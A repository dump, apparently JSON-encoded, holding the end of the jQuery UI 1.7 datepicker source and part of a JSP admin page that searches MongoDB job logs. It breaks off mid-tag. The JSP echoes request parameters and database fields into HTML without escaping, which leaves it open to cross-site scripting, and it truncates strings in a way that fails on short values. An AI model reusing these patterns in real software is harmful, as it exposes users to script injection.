'stepMonths');\r\n\t\tvar stepBigMonths = this._get(inst, 'stepBigMonths');\r\n\t\tvar isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);\r\n\t\tvar currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) :\r\n\t\t\tnew Date(inst.currentYear, inst.currentMonth, inst.currentDay)));\r\n\t\tvar minDate = this._getMinMaxDate(inst, 'min', true);\r\n\t\tvar maxDate = this._getMinMaxDate(inst, 'max');\r\n\t\tvar drawMonth = inst.drawMonth - showCurrentAtPos;\r\n\t\tvar drawYear = inst.drawYear;\r\n\t\tif (drawMonth < 0) {\r\n\t\t\tdrawMonth += 12;\r\n\t\t\tdrawYear--;\r\n\t\t}\r\n\t\tif (maxDate) {\r\n\t\t\tvar maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),\r\n\t\t\t\tmaxDate.getMonth() - numMonths[1] + 1, maxDate.getDate()));\r\n\t\t\tmaxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);\r\n\t\t\twhile (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {\r\n\t\t\t\tdrawMonth--;\r\n\t\t\t\tif (drawMonth < 0) {\r\n\t\t\t\t\tdrawMonth = 11;\r\n\t\t\t\t\tdrawYear--;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tinst.drawMonth = drawMonth;\r\n\t\tinst.drawYear = drawYear;\r\n\t\tvar prevText = this._get(inst, 'prevText');\r\n\t\tprevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText,\r\n\t\t\tthis._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)),\r\n\t\t\tthis._getFormatConfig(inst)));\r\n\t\tvar prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?\r\n\t\t\t'<a class=\"ui-datepicker-prev ui-corner-all\" onclick=\"DP_jQuery.datepicker._adjustDate(\\'#' + inst.id + '\\', -' + stepMonths + ', \\'M\\');\"' +\r\n\t\t\t' title=\"' + prevText + '\"><span class=\"ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') + '\">' + prevText + '</span></a>' :\r\n\t\t\t(hideIfNoPrevNext ? '' : '<a class=\"ui-datepicker-prev ui-corner-all ui-state-disabled\" title=\"'+ prevText +'\"><span class=\"ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') + '\">' + prevText + '</span></a>'));\r\n\t\tvar nextText = this._get(inst, 'nextText');\r\n\t\tnextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText,\r\n\t\t\tthis._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)),\r\n\t\t\tthis._getFormatConfig(inst)));\r\n\t\tvar next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?\r\n\t\t\t'<a class=\"ui-datepicker-next ui-corner-all\" onclick=\"DP_jQuery.datepicker._adjustDate(\\'#' + inst.id + '\\', +' + stepMonths + ', \\'M\\');\"' +\r\n\t\t\t' title=\"' + nextText + '\"><span class=\"ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') + '\">' + nextText + '</span></a>' :\r\n\t\t\t(hideIfNoPrevNext ? '' : '<a class=\"ui-datepicker-next ui-corner-all ui-state-disabled\" title=\"'+ nextText + '\"><span class=\"ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') + '\">' + nextText + '</span></a>'));\r\n\t\tvar currentText = this._get(inst, 'currentText');\r\n\t\tvar gotoDate = (this._get(inst, 'gotoCurrent') && inst.currentDay ? currentDate : today);\r\n\t\tcurrentText = (!navigationAsDateFormat ? currentText :\r\n\t\t\tthis.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));\r\n\t\tvar controls = (!inst.inline ? '<button type=\"button\" class=\"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all\" onclick=\"DP_jQuery.datepicker._hideDatepicker();\">' + this._get(inst, 'closeText') + '</button>' : '');\r\n\t\tvar buttonPanel = (showButtonPanel) ? '<div class=\"ui-datepicker-buttonpane ui-widget-content\">' + (isRTL ? controls : '') +\r\n\t\t\t(this._isInRange(inst, gotoDate) ? '<button type=\"button\" class=\"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all\" onclick=\"DP_jQuery.datepicker._gotoToday(\\'#' + inst.id + '\\');\"' +\r\n\t\t\t'>' + currentText + '</button>' : '') + (isRTL ? '' : controls) + '</div>' : '';\r\n\t\tvar firstDay = parseInt(this._get(inst, 'firstDay'),10);\r\n\t\tfirstDay = (isNaN(firstDay) ? 0 : firstDay);\r\n\t\tvar dayNames = this._get(inst, 'dayNames');\r\n\t\tvar dayNamesShort = this._get(inst, 'dayNamesShort');\r\n\t\tvar dayNamesMin = this._get(inst, 'dayNamesMin');\r\n\t\tvar monthNames = this._get(inst, 'monthNames');\r\n\t\tvar monthNamesShort = this._get(inst, 'monthNamesShort');\r\n\t\tvar beforeShowDay = this._get(inst, 'beforeShowDay');\r\n\t\tvar showOtherMonths = this._get(inst, 'showOtherMonths');\r\n\t\tvar calculateWeek = this._get(inst, 'calculateWeek') || this.iso8601Week;\r\n\t\tvar endDate = inst.endDay ? this._daylightSavingAdjust(\r\n\t\t\tnew Date(inst.endYear, inst.endMonth, inst.endDay)) : currentDate;\r\n\t\tvar defaultDate = this._getDefaultDate(inst);\r\n\t\tvar html = '';\r\n\t\tfor (var row = 0; row < numMonths[0]; row++) {\r\n\t\t\tvar group = '';\r\n\t\t\tfor (var col = 0; col < numMonths[1]; col++) {\r\n\t\t\t\tvar selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));\r\n\t\t\t\tvar cornerClass = ' ui-corner-all';\r\n\t\t\t\tvar calender = '';\r\n\t\t\t\tif (isMultiMonth) {\r\n\t\t\t\t\tcalender += '<div class=\"ui-datepicker-group ui-datepicker-group-';\r\n\t\t\t\t\tswitch (col) {\r\n\t\t\t\t\t\tcase 0: calender += 'first'; cornerClass = ' ui-corner-' + (isRTL ? 'right' : 'left'); break;\r\n\t\t\t\t\t\tcase numMonths[1]-1: calender += 'last'; cornerClass = ' ui-corner-' + (isRTL ? 'left' : 'right'); break;\r\n\t\t\t\t\t\tdefault: calender += 'middle'; cornerClass = ''; break;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcalender += '\">';\r\n\t\t\t\t}\r\n\t\t\t\tcalender += '<div class=\"ui-datepicker-header ui-widget-header ui-helper-clearfix' + cornerClass + '\">' +\r\n\t\t\t\t\t(/all|left/.test(cornerClass) && row == 0 ? (isRTL ? next : prev) : '') +\r\n\t\t\t\t\t(/all|right/.test(cornerClass) && row == 0 ? (isRTL ? prev : next) : '') +\r\n\t\t\t\t\tthis._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate,\r\n\t\t\t\t\tselectedDate, row > 0 || col > 0, monthNames, monthNamesShort) + // draw month headers\r\n\t\t\t\t\t'</div><table class=\"ui-datepicker-calendar\"><thead>' +\r\n\t\t\t\t\t'<tr>';\r\n\t\t\t\tvar thead = '';\r\n\t\t\t\tfor (var dow = 0; dow < 7; dow++) { // days of the week\r\n\t\t\t\t\tvar day = (dow + firstDay) % 7;\r\n\t\t\t\t\tthead += '<th' + ((dow + firstDay + 6) % 7 >= 5 ? ' class=\"ui-datepicker-week-end\"' : '') + '>' +\r\n\t\t\t\t\t\t'<span title=\"' + dayNames[day] + '\">' + dayNamesMin[day] + '</span></th>';\r\n\t\t\t\t}\r\n\t\t\t\tcalender += thead + '</tr></thead><tbody>';\r\n\t\t\t\tvar daysInMonth = this._getDaysInMonth(drawYear, drawMonth);\r\n\t\t\t\tif (drawYear == inst.selectedYear && drawMonth == inst.selectedMonth)\r\n\t\t\t\t\tinst.selectedDay = Math.min(inst.selectedDay, daysInMonth);\r\n\t\t\t\tvar leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;\r\n\t\t\t\tvar numRows = (isMultiMonth ? 6 : Math.ceil((leadDays + daysInMonth) / 7)); // calculate the number of rows to generate\r\n\t\t\t\tvar printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));\r\n\t\t\t\tfor (var dRow = 0; dRow < numRows; dRow++) { // create date picker rows\r\n\t\t\t\t\tcalender += '<tr>';\r\n\t\t\t\t\tvar tbody = '';\r\n\t\t\t\t\tfor (var dow = 0; dow < 7; dow++) { // create date picker days\r\n\t\t\t\t\t\tvar daySettings = (beforeShowDay ?\r\n\t\t\t\t\t\t\tbeforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, '']);\r\n\t\t\t\t\t\tvar otherMonth = (printDate.getMonth() != drawMonth);\r\n\t\t\t\t\t\tvar unselectable = otherMonth || !daySettings[0] ||\r\n\t\t\t\t\t\t\t(minDate && printDate < minDate) || (maxDate && printDate > maxDate);\r\n\t\t\t\t\t\ttbody += '<td class=\"' +\r\n\t\t\t\t\t\t\t((dow + firstDay + 6) % 7 >= 5 ? ' ui-datepicker-week-end' : '') + // highlight weekends\r\n\t\t\t\t\t\t\t(otherMonth ? ' ui-datepicker-other-month' : '') + // highlight days from other months\r\n\t\t\t\t\t\t\t((printDate.getTime() == selectedDate.getTime() && drawMonth == inst.selectedMonth && inst._keyEvent) || // user pressed key\r\n\t\t\t\t\t\t\t(defaultDate.getTime() == printDate.getTime() && defaultDate.getTime() == selectedDate.getTime()) ?\r\n\t\t\t\t\t\t\t// or defaultDate is current printedDate and defaultDate is selectedDate\r\n\t\t\t\t\t\t\t' ' + this._dayOverClass : '') + // highlight selected day\r\n\t\t\t\t\t\t\t(unselectable ? ' ' + this._unselectableClass + ' ui-state-disabled': '') +  // highlight unselectable days\r\n\t\t\t\t\t\t\t(otherMonth && !showOtherMonths ? '' : ' ' + daySettings[1] + // highlight custom dates\r\n\t\t\t\t\t\t\t(printDate.getTime() >= currentDate.getTime() && printDate.getTime() <= endDate.getTime() ? // in current range\r\n\t\t\t\t\t\t\t' ' + this._currentClass : '') + // highlight selected day\r\n\t\t\t\t\t\t\t(printDate.getTime() == today.getTime() ? ' ui-datepicker-today' : '')) + '\"' + // highlight today (if different)\r\n\t\t\t\t\t\t\t((!otherMonth || showOtherMonths) && daySettings[2] ? ' title=\"' + daySettings[2] + '\"' : '') + // cell title\r\n\t\t\t\t\t\t\t(unselectable ? '' : ' onclick=\"DP_jQuery.datepicker._selectDay(\\'#' +\r\n\t\t\t\t\t\t\tinst.id + '\\',' + drawMonth + ',' + drawYear + ', this);return false;\"') + '>' + // actions\r\n\t\t\t\t\t\t\t(otherMonth ? (showOtherMonths ? printDate.getDate() : '&#xa0;') : // display for other months\r\n\t\t\t\t\t\t\t(unselectable ? '<span class=\"ui-state-default\">' + printDate.getDate() + '</span>' : '<a class=\"ui-state-default' +\r\n\t\t\t\t\t\t\t(printDate.getTime() == today.getTime() ? ' ui-state-highlight' : '') +\r\n\t\t\t\t\t\t\t(printDate.getTime() >= currentDate.getTime() && printDate.getTime() <= endDate.getTime() ? // in current range\r\n\t\t\t\t\t\t\t' ui-state-active' : '') + // highlight selected day\r\n\t\t\t\t\t\t\t'\" href=\"#\">' + printDate.getDate() + '</a>')) + '</td>'; // display for this month\r\n\t\t\t\t\t\tprintDate.setDate(printDate.getDate() + 1);\r\n\t\t\t\t\t\tprintDate = this._daylightSavingAdjust(printDate);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcalender += tbody + '</tr>';\r\n\t\t\t\t}\r\n\t\t\t\tdrawMonth++;\r\n\t\t\t\tif (drawMonth > 11) {\r\n\t\t\t\t\tdrawMonth = 0;\r\n\t\t\t\t\tdrawYear++;\r\n\t\t\t\t}\r\n\t\t\t\tcalender += '</tbody></table>' + (isMultiMonth ? '</div>' + \r\n\t\t\t\t\t\t\t((numMonths[0] > 0 && col == numMonths[1]-1) ? '<div class=\"ui-datepicker-row-break\"></div>' : '') : '');\r\n\t\t\t\tgroup += calender;\r\n\t\t\t}\r\n\t\t\thtml += group;\r\n\t\t}\r\n\t\thtml += buttonPanel + ($.browser.msie && parseInt($.browser.version,10) < 7 && !inst.inline ?\r\n\t\t\t'<iframe src=\"javascript:false;\" class=\"ui-datepicker-cover\" frameborder=\"0\"></iframe>' : '');\r\n\t\tinst._keyEvent = false;\r\n\t\treturn html;\r\n\t},\r\n\r\n\t/* Generate the month and year header. */\r\n\t_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate,\r\n\t\t\tselectedDate, secondary, monthNames, monthNamesShort) {\r\n\t\tminDate = (inst.rangeStart && minDate && selectedDate < minDate ? selectedDate : minDate);\r\n\t\tvar changeMonth = this._get(inst, 'changeMonth');\r\n\t\tvar changeYear = this._get(inst, 'changeYear');\r\n\t\tvar showMonthAfterYear = this._get(inst, 'showMonthAfterYear');\r\n\t\tvar html = '<div class=\"ui-datepicker-title\">';\r\n\t\tvar monthHtml = '';\r\n\t\t// month selection\r\n\t\tif (secondary || !changeMonth)\r\n\t\t\tmonthHtml += '<span class=\"ui-datepicker-month\">' + monthNames[drawMonth] + '</span> ';\r\n\t\telse {\r\n\t\t\tvar inMinYear = (minDate && minDate.getFullYear() == drawYear);\r\n\t\t\tvar inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);\r\n\t\t\tmonthHtml += '<select class=\"ui-datepicker-month\" ' +\r\n\t\t\t\t'onchange=\"DP_jQuery.datepicker._selectMonthYear(\\'#' + inst.id + '\\', this, \\'M\\');\" ' +\r\n\t\t\t\t'onclick=\"DP_jQuery.datepicker._clickMonthYear(\\'#' + inst.id + '\\');\"' +\r\n\t\t\t \t'>';\r\n\t\t\tfor (var month = 0; month < 12; month++) {\r\n\t\t\t\tif ((!inMinYear || month >= minDate.getMonth()) &&\r\n\t\t\t\t\t\t(!inMaxYear || month <= maxDate.getMonth()))\r\n\t\t\t\t\tmonthHtml += '<option value=\"' + month + '\"' +\r\n\t\t\t\t\t\t(month == drawMonth ? ' selected=\"selected\"' : '') +\r\n\t\t\t\t\t\t'>' + monthNamesShort[month] + '</option>';\r\n\t\t\t}\r\n\t\t\tmonthHtml += '</select>';\r\n\t\t}\r\n\t\tif (!showMonthAfterYear)\r\n\t\t\thtml += monthHtml + ((secondary || changeMonth || changeYear) && (!(changeMonth && changeYear)) ? '&#xa0;' : '');\r\n\t\t// year selection\r\n\t\tif (secondary || !changeYear)\r\n\t\t\thtml += '<span class=\"ui-datepicker-year\">' + drawYear + '</span>';\r\n\t\telse {\r\n\t\t\t// determine range of years to display\r\n\t\t\tvar years = this._get(inst, 'yearRange').split(':');\r\n\t\t\tvar year = 0;\r\n\t\t\tvar endYear = 0;\r\n\t\t\tif (years.length != 2) {\r\n\t\t\t\tyear = drawYear - 10;\r\n\t\t\t\tendYear = drawYear + 10;\r\n\t\t\t} else if (years[0].charAt(0) == '+' || years[0].charAt(0) == '-') {\r\n\t\t\t\tyear = drawYear + parseInt(years[0], 10);\r\n\t\t\t\tendYear = drawYear + parseInt(years[1], 10);\r\n\t\t\t} else {\r\n\t\t\t\tyear = parseInt(years[0], 10);\r\n\t\t\t\tendYear = parseInt(years[1], 10);\r\n\t\t\t}\r\n\t\t\tyear = (minDate ? Math.max(year, minDate.getFullYear()) : year);\r\n\t\t\tendYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);\r\n\t\t\thtml += '<select class=\"ui-datepicker-year\" ' +\r\n\t\t\t\t'onchange=\"DP_jQuery.datepicker._selectMonthYear(\\'#' + inst.id + '\\', this, \\'Y\\');\" ' +\r\n\t\t\t\t'onclick=\"DP_jQuery.datepicker._clickMonthYear(\\'#' + inst.id + '\\');\"' +\r\n\t\t\t\t'>';\r\n\t\t\tfor (; year <= endYear; year++) {\r\n\t\t\t\thtml += '<option value=\"' + year + '\"' +\r\n\t\t\t\t\t(year == drawYear ? ' selected=\"selected\"' : '') +\r\n\t\t\t\t\t'>' + year + '</option>';\r\n\t\t\t}\r\n\t\t\thtml += '</select>';\r\n\t\t}\r\n\t\tif (showMonthAfterYear)\r\n\t\t\thtml += (secondary || changeMonth || changeYear ? '&#xa0;' : '') + monthHtml;\r\n\t\thtml += '</div>'; // Close datepicker_header\r\n\t\treturn html;\r\n\t},\r\n\r\n\t/* Adjust one of the date sub-fields. */\r\n\t_adjustInstDate: function(inst, offset, period) {\r\n\t\tvar year = inst.drawYear + (period == 'Y' ? offset : 0);\r\n\t\tvar month = inst.drawMonth + (period == 'M' ? offset : 0);\r\n\t\tvar day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) +\r\n\t\t\t(period == 'D' ? offset : 0);\r\n\t\tvar date = this._daylightSavingAdjust(new Date(year, month, day));\r\n\t\t// ensure it is within the bounds set\r\n\t\tvar minDate = this._getMinMaxDate(inst, 'min', true);\r\n\t\tvar maxDate = this._getMinMaxDate(inst, 'max');\r\n\t\tdate = (minDate && date < minDate ? minDate : date);\r\n\t\tdate = (maxDate && date > maxDate ? maxDate : date);\r\n\t\tinst.selectedDay = date.getDate();\r\n\t\tinst.drawMonth = inst.selectedMonth = date.getMonth();\r\n\t\tinst.drawYear = inst.selectedYear = date.getFullYear();\r\n\t\tif (period == 'M' || period == 'Y')\r\n\t\t\tthis._notifyChange(inst);\r\n\t},\r\n\r\n\t/* Notify change of month/year. */\r\n\t_notifyChange: function(inst) {\r\n\t\tvar onChange = this._get(inst, 'onChangeMonthYear');\r\n\t\tif (onChange)\r\n\t\t\tonChange.apply((inst.input ? inst.input[0] : null),\r\n\t\t\t\t[inst.selectedYear, inst.selectedMonth + 1, inst]);\r\n\t},\r\n\r\n\t/* Determine the number of months to show. */\r\n\t_getNumberOfMonths: function(inst) {\r\n\t\tvar numMonths = this._get(inst, 'numberOfMonths');\r\n\t\treturn (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths));\r\n\t},\r\n\r\n\t/* Determine the current maximum date - ensure no time components are set - may be overridden for a range. */\r\n\t_getMinMaxDate: function(inst, minMax, checkRange) {\r\n\t\tvar date = this._determineDate(this._get(inst, minMax + 'Date'), null);\r\n\t\treturn (!checkRange || !inst.rangeStart ? date :\r\n\t\t\t(!date || inst.rangeStart > date ? inst.rangeStart : date));\r\n\t},\r\n\r\n\t/* Find the number of days in a given month. */\r\n\t_getDaysInMonth: function(year, month) {\r\n\t\treturn 32 - new Date(year, month, 32).getDate();\r\n\t},\r\n\r\n\t/* Find the day of the week of the first of a month. */\r\n\t_getFirstDayOfMonth: function(year, month) {\r\n\t\treturn new Date(year, month, 1).getDay();\r\n\t},\r\n\r\n\t/* Determines if we should allow a \"next/prev\" month display change. */\r\n\t_canAdjustMonth: function(inst, offset, curYear, curMonth) {\r\n\t\tvar numMonths = this._getNumberOfMonths(inst);\r\n\t\tvar date = this._daylightSavingAdjust(new Date(\r\n\t\t\tcurYear, curMonth + (offset < 0 ? offset : numMonths[1]), 1));\r\n\t\tif (offset < 0)\r\n\t\t\tdate.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));\r\n\t\treturn this._isInRange(inst, date);\r\n\t},\r\n\r\n\t/* Is the given date in the accepted range? */\r\n\t_isInRange: function(inst, date) {\r\n\t\t// during range selection, use minimum of selected date and range start\r\n\t\tvar newMinDate = (!inst.rangeStart ? null : this._daylightSavingAdjust(\r\n\t\t\tnew Date(inst.selectedYear, inst.selectedMonth, inst.selectedDay)));\r\n\t\tnewMinDate = (newMinDate && inst.rangeStart < newMinDate ? inst.rangeStart : newMinDate);\r\n\t\tvar minDate = newMinDate || this._getMinMaxDate(inst, 'min');\r\n\t\tvar maxDate = this._getMinMaxDate(inst, 'max');\r\n\t\treturn ((!minDate || date >= minDate) && (!maxDate || date <= maxDate));\r\n\t},\r\n\r\n\t/* Provide the configuration settings for formatting/parsing. */\r\n\t_getFormatConfig: function(inst) {\r\n\t\tvar shortYearCutoff = this._get(inst, 'shortYearCutoff');\r\n\t\tshortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff :\r\n\t\t\tnew Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));\r\n\t\treturn {shortYearCutoff: shortYearCutoff,\r\n\t\t\tdayNamesShort: this._get(inst, 'dayNamesShort'), dayNames: this._get(inst, 'dayNames'),\r\n\t\t\tmonthNamesShort: this._get(inst, 'monthNamesShort'), monthNames: this._get(inst, 'monthNames')};\r\n\t},\r\n\r\n\t/* Format the given date for display. */\r\n\t_formatDate: function(inst, day, month, year) {\r\n\t\tif (!day) {\r\n\t\t\tinst.currentDay = inst.selectedDay;\r\n\t\t\tinst.currentMonth = inst.selectedMonth;\r\n\t\t\tinst.currentYear = inst.selectedYear;\r\n\t\t}\r\n\t\tvar date = (day ? (typeof day == 'object' ? day :\r\n\t\t\tthis._daylightSavingAdjust(new Date(year, month, day))) :\r\n\t\t\tthis._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));\r\n\t\treturn this.formatDate(this._get(inst, 'dateFormat'), date, this._getFormatConfig(inst));\r\n\t}\r\n});\r\n\r\n/* jQuery extend now ignores nulls! */\r\nfunction extendRemove(target, props) {\r\n\t$.extend(target, props);\r\n\tfor (var name in props)\r\n\t\tif (props[name] == null || props[name] == undefined)\r\n\t\t\ttarget[name] = props[name];\r\n\treturn target;\r\n};\r\n\r\n/* Determine whether an object is an array. */\r\nfunction isArray(a) {\r\n\treturn (a && (($.browser.safari && typeof a == 'object' && a.length) ||\r\n\t\t(a.constructor && a.constructor.toString().match(/\\Array\\(\\)/))));\r\n};\r\n\r\n/* Invoke the datepicker functionality.\r\n   @param  options  string - a command, optionally followed by additional parameters or\r\n                    Object - settings for attaching new datepicker functionality\r\n   @return  jQuery object */\r\n$.fn.datepicker = function(options){\r\n\r\n\t/* Initialise the date picker. */\r\n\tif (!$.datepicker.initialized) {\r\n\t\t$(document).mousedown($.datepicker._checkExternalClick).\r\n\t\t\tfind('body').append($.datepicker.dpDiv);\r\n\t\t$.datepicker.initialized = true;\r\n\t}\r\n\r\n\tvar otherArgs = Array.prototype.slice.call(arguments, 1);\r\n\tif (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate'))\r\n\t\treturn $.datepicker['_' + options + 'Datepicker'].\r\n\t\t\tapply($.datepicker, [this[0]].concat(otherArgs));\r\n\treturn this.each(function() {\r\n\t\ttypeof options == 'string' ?\r\n\t\t\t$.datepicker['_' + options + 'Datepicker'].\r\n\t\t\t\tapply($.datepicker, [this].concat(otherArgs)) :\r\n\t\t\t$.datepicker._attachDatepicker(this, options);\r\n\t});\r\n};\r\n\r\n$.datepicker = new Datepicker(); // singleton instance\r\n$.datepicker.initialized = false;\r\n$.datepicker.uuid = new Date().getTime();\r\n$.datepicker.version = \"1.7\";\r\n\r\n// Workaround for #4055\r\n// Add another global to avoid noConflict issues with inline event handlers\r\nwindow.DP_jQuery = $;\r\n\r\n})(jQuery);\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/logList.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\t\t pageEncoding=\"UTF-8\" %>\r\n<%@page import=\"com.gome.clover.common.mongodb.DBTableInfo\" %>\r\n<%@ page import=\"com.gome.clover.common.mongodb.MongoDBUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.StringUtil\" %>\r\n<%@ page import=\"com.mongodb.BasicDBObject\" %>\r\n<%@ page import=\"com.mongodb.DBCursor\" %>\r\n<%@ page import=\"com.mongodb.DBObject\" %>\r\n<%\r\n\tString path = request.getContextPath();\r\n\tString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\r\n\r\n\tString qSystemId = request.getParameter(\"qSystemId\");\r\n\tString qJobKey = request.getParameter(\"qJobKey\");\r\n\tString qIp = request.getParameter(\"qIp\");\r\n\tString qExecMethod = request.getParameter(\"qExecMethod\");\r\n\tDBObject condition = new BasicDBObject();\r\n\tif (!StringUtil.isEmpty(qSystemId)) condition.put(DBTableInfo.COL_SYSTEM_ID, qSystemId);\r\n\tif (!StringUtil.isEmpty(qJobKey)) condition.put(DBTableInfo.COL_JOB_KEY, qJobKey);\r\n\tif (!StringUtil.isEmpty(qIp)) condition.put(DBTableInfo.COL_IP, qIp);\r\n\tif (!StringUtil.isEmpty(qExecMethod)) condition.put(DBTableInfo.COL_EXEC_METHOD, qExecMethod);\r\n\tDBCursor dbCursor;\r\n\tif(StringUtil.isEmpty(qSystemId) && StringUtil.isEmpty(qJobKey) && StringUtil.isEmpty(qIp) && StringUtil.isEmpty(qExecMethod)){\r\n\t\tdbCursor = null;\r\n\t}else {\r\n\t\tdbCursor = MongoDBUtil.INSTANCE.findByCondition(condition,DBTableInfo.TBL_CLOVER_LOG);\r\n\t}\r\n\r\n%>\r\n<!DOCTYPE html>\r\n<html>\r\n <jsp:include page=\"/common/head.jsp\"/>\r\n  <body>\r\n \t<jsp:include page=\"/common/nav.jsp\"/>\r\n\t<div class=\"container-fluid\">\r\n\t<table class=\"table table-bordered\">\r\n\t\t<tbody>\r\n\t\t<form action=\"<%=basePath%>logList.jsp\" method=\"post\">\r\n\t\t\t<tr>\r\n\t\t\t\t<th>System Id:</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input  type=\"text\" id=\"qSystemId\"name=\"qSystemId\" placeholder=\"System Id\" value=\"<%=null!=qSystemId?qSystemId:\"\"%>\">\r\n\t\t\t\t</td>\r\n\t\t\t\t<th>ip:</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input  type=\"text\" id=\"qIp\"name=\"qIp\" placeholder=\"ip\" value=\"<%=null!=qIp?qIp:\"\"%>\">\r\n\t\t\t\t</td>\r\n\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input  type=\"text\" id=\"qJobKey\" name=\"qJobKey\" placeholder=\"Job Key\" value=\"<%=null!=qJobKey?qJobKey:\"\"%>\">\r\n\t\t\t\t</td>\r\n\t\t\t\t<th>Exec Method:</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t<input  type=\"text\" id=\"qExecMethod\" name=\"qExecMethod\" placeholder=\"Exec Method\" value=\"<%=null!=qExecMethod?qExecMethod:\"\"%>\">\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"8\">\r\n\t\t\t\t\t<center>\r\n\t\t\t\t\t\t<button class=\"btn btn-success\" type=\"submit\">查询</button>\r\n\t\t\t\t\t\t<button class=\"btn\" onclick=\"clearQuery()\">清空</button>\r\n\t\t\t\t\t</center>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t</form>\r\n\t\t</tbody>\r\n\t</table>\r\n\r\n      <table class=\"table table-bordered table-striped\">\r\n      <thead>\r\n       <tr>\r\n\t\t   <th style=\"width: 10%; text-align: center;\" nowrap>SystemId</th>\r\n\t\t   <th style=\"width: 10%; text-align: center;\" nowrap>ip</th>\r\n\t\t   <th style=\"width: 10%; text-align: center;\" nowrap>JobKey</th>\r\n           <th style=\"width: 20%; text-align: center;\" nowrap>ExecMethod</th>\r\n           <th style=\"width: 10%; text-align: center;\" nowrap>ExecResult</th>\r\n           <th style=\"width: 10%; text-align: center;\" nowrap>ExecTime</th>\r\n           <th style=\"width: 10%; text-align: center;\" nowrap>ts</th>\r\n          <th style=\"width: 10%;text-align: center;\" nowrap>操作</th>\r\n       </tr>\r\n      </thead>\r\n      <tbody>\r\n\t  <%\r\n\t\t  if(null!=dbCursor && dbCursor.size()>0){\r\n\t\t\t  int index =0;\r\n\t\t\t  while (dbCursor.hasNext()) {\r\n                  DBObject tempDBObject = dbCursor.next();\r\n\t\t\t\t  System.err.println(\"index:\"+(index++)+\" tempDBObject \"+tempDBObject);\r\n\r\n\t  %>\r\n\t\t  <tr>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t  <%=tempDBObject.get(DBTableInfo.COL_SYSTEM_ID)%>\r\n\t\t\t  </td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t  <%=tempDBObject.get(DBTableInfo.COL_IP)%>\r\n\t\t\t  </td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t  <%=tempDBObject.get(DBTableInfo.COL_JOB_KEY)%>\r\n\t\t\t  </td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t  <a href=\"#\"  data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"<%=tempDBObject.get(DBTableInfo.COL_EXEC_METHOD)%>\">\r\n\t\t\t\t\t  <%=(tempDBObject.get(DBTableInfo.COL_EXEC_METHOD)).toString().substring(0, 50)%></a>\r\n\t\t\t  </td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n                  <a href=\"#\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"<%=tempDBObject.get(DBTableInfo.COL_EXEC_RESULT)%>\">\r\n                      <%=(tempDBObject.get(DBTableInfo.COL_EXEC_RESULT)).toString().substring(0,50)%></a>\r\n\t\t\t  </td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap><%=tempDBObject.get(DBTableInfo.COL_EXEC_TIME)%></td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t  <%=tempDBObject.get(DBTableInfo.COL_TS)%>\r\n\t\t\t  </td>\r\n\t\t\t  <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t  <a data-toggle=\"modal\" onclick=\"toView('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\" href=\"#\">\r\n\t\t\t\t\t  <i 